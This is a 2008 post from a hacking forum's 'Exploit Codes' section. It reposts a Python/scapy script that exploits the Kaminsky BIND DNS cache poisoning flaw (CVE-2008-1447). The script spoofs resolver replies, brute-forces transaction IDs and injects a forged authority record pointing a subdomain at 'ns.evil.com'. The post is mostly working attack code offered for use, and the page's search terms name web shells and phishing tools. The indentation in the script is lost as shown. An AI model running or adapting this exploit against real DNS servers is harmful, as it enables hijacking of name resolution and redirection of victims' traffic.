BadHackerZ BHZ Image
Go Back   BadHackerZ > Hacking Arena > Exploit Codes

Notices

IMG Me Up
Register Now for FREE!
Our records show you have not yet registered to our forums. To sign up for your FREE account INSTANTLY fill out the form below!

Username: Password: Confirm Password: E-Mail: Confirm E-Mail:
Birthday:      
Random Question
  I agree to forum rules 

Reply
 
LinkBack Thread Tools Display Modes
Old 07-31-2008   #1 (permalink)
Studentz
 
Armageddon's Avatar
 
Join Date: Jun 2006

Location: On port u forgot to secure!
Age: 18
Posts: 6,125
Thanks: 57
Thanked 171 Times in 126 Posts
Rep Power: 250 Armageddon has a reputation beyond repute
Armageddon has a reputation beyond reputeArmageddon has a reputation beyond reputeArmageddon has a reputation beyond reputeArmageddon has a reputation beyond repute

Awards Showcase
6K Group 5K Group 4K Group 3K Group 2K group 1K group 
Total Awards: 6

Send a message via Yahoo to Armageddon
Default BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)

from scapy import *
import random

# Copyright (C) 2008 Julien Desfossez <ju@klipix.org>
# SolisProject.Net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# This script exploit the flaw discovered by Dan Kaminsky
# CVE - CVE-2008-1447 (under review)
# US-CERT Vulnerability Note VU#800113

# It tries to insert a dummy record in the vulnerable DNS server by guessing
# the transaction ID.
# It also insert Authority record for a valid record of the target domain.

# To use this script, you have to discover the source port used by the vulnerable
# DNS server.
# Python is really slow, so it will take some time, but it works :-)


# IP to insert for our dummy record
targetip = "X.X.X.X"
# Vulnerable recursive DNS server
targetdns = "X.X.X.X"
# Authoritative NS for the target domain
srcdns = ["X.X.X.X"]

# Domain to play with
dummydomain = ""
basedomain = ".example.com."
# sub-domain to claim authority on
domain = "sub.example.com."
# Spoofed authoritative DNS for the sub-domain
spoof="ns.evil.com."
# src port of vulnerable DNS for recursive queries
dnsport = 32883

# base packet
rep = IP(dst=targetdns, src=srcdns[0])/ \
UDP(sport=53, dport=dnsport)/ \
DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),
ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof)+1, type=2)
)


currentid = 1024
dummyid = 3
while 1:
dummydomain = "a" + str(dummyid) + basedomain
dummyid = dummyid + 1
# request for our dummydomain
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
send(req)

# build the response
rep.getlayer(DNS).qd.qname = dummydomain
rep.getlayer(DNS).an.rrname = dummydomain

for i in range(50):
# TXID
rep.getlayer(DNS).id = currentid
currentid = currentid + 1
if currentid == 65536:
currentid = 1024

# len and chksum
rep.getlayer(UDP).len = IP(str(rep)).len-20
rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))

print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)
send(rep, verbose=0)

# check to see if it worked
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
z = sr1(req, timeout=2, retry=0, verbose=0)
try:
if z[DNS].an.rdata == targetip:
print "Successfully poisonned our target with a dummy record !!"
break
except:
print "Poisonning failed"
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Armageddon is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Reply

Bookmarks



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
TGS CMS Remote Code Execution Exploit Wh!5t|eR Exploit Codes 0 08-04-2008 02:56 AM
BIND 9.4.1-9.4.2 Remote DNS Cache Poisoning Flaw Exploit (meta) Wh!5t|eR Exploit Codes 0 07-24-2008 01:11 PM
Remote SQL Injection Exploit Immortal Exploit Codes 0 05-28-2008 10:21 PM
phpBB 3 Remote SQL Injection Exploit KnightRider Exploit Codes 2 05-24-2008 07:52 AM

These are the 100 most searched terms
Search Cloud
(intitle:r57shell | intitle:c99shell) +uname acoustic solutions asvm-6271 aishwarya fakes ambit 256 hack bad hackerz badgewinners.com badhackerz badhackerz.com c99shell c99shell powered by admin c99shell v. 1.0 pre-release build #16 choda chudi cmbus-pkg3-nat-any.cm cousin ki chudai dhcp sniffer eset nod32 rapidshare evan poczik evllp.dll free tamil sex stories hotmail phisher idm 512 infinite firmware interesting computer facts intext:rapidshare.com/files linkgrabber 3.1 intitle:c99shell v. 1.0 pre-release +uname ipb 2.3.1 exploit j downloader logmein pro rapidshare logmein rapidshare mass effect megaupload mass effect rapidshare naughtyamerica.com nod32 rapidshare nod32 rapidshare.com pinnacle studio 12 rapidshare powered by captain crunch security team ptgui rapidshare rapidshare rosetta stone rosetta stone application rosetta stone rapidshare rosetta stone romanian rosetta stone update safe-mode: off (not secure) drwxrwxrwx c99shell sigma 1.7 softjtag tamil sex stories tera patrick rapidshare vbulletin 3.7.0 exploit vbulletin exploit www.badhackerz.com ... powered by Simple Search Cloud

All times are GMT +5.5. The time now is 11:11 AM.


Website Design by How.ToDesignYour.Com
Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.1.0 ©2007, Crawlability, Inc.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios